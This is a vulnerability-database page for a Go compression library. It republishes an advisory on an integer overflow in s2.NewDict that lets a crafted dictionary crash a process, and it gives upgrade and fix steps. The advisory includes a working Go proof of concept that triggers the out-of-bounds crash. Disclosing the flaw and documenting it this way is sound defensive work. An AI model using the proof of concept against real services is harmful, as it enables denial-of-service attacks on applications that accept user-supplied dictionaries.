Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
CVE-2026-63209 · GHSA-259r-337f-4rfw · published 20 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-63209?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/klauspost/compress(Go) <= 1.18.6
How to check
- Run
go list -m github.com/klauspost/compressin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/klauspost/compressto 1.18.7 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
# Signed Integer Overflow in s2.NewDict
## Summary
A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.
## Package
- **Name:** `github.com/klauspost/compress/s2`
- **Ecosystem:** Go
- **Affected versions:** <= v1.18.6 (all versions with `NewDict` function)
## Severity
**High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
## Vulnerability
### Type
- CWE-190: Integer Overflow or Wraparound
- CWE-787: Out-of-bounds Write (via unsafe.Pointer)
### Description
The `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:
```go
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
```
When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:
```go
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
```
`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:
```go
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
```
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
## PoC
```go
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
```
## Impact
- **Denial of Service:** The process crashes immediately with SIGSEGV
## Attack Vector
Any application that:
1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`
2. Calls `Dict.Encode()` on any data ≥32 bytes
## Suggested Fix
Validate the uvarint value before converting to int:
```go
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
```
Or use `uint` for the repeat field and validate against `uint(len(dict))`.
## References
- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)
- Commit: 539243b (v1.18.6 + 4 commits)
## Credits
Christopher Linke / https://github.com/celinke97/
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw
- nvd.nist.gov/vuln/detail/CVE-2026-63209
- github.com/klauspost/compress/pull/1163
- github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536
- github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa
- github.com/klauspost/compress/releases/tag/v1.18.7
- github.com/advisories/GHSA-259r-337f-4rfw
Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON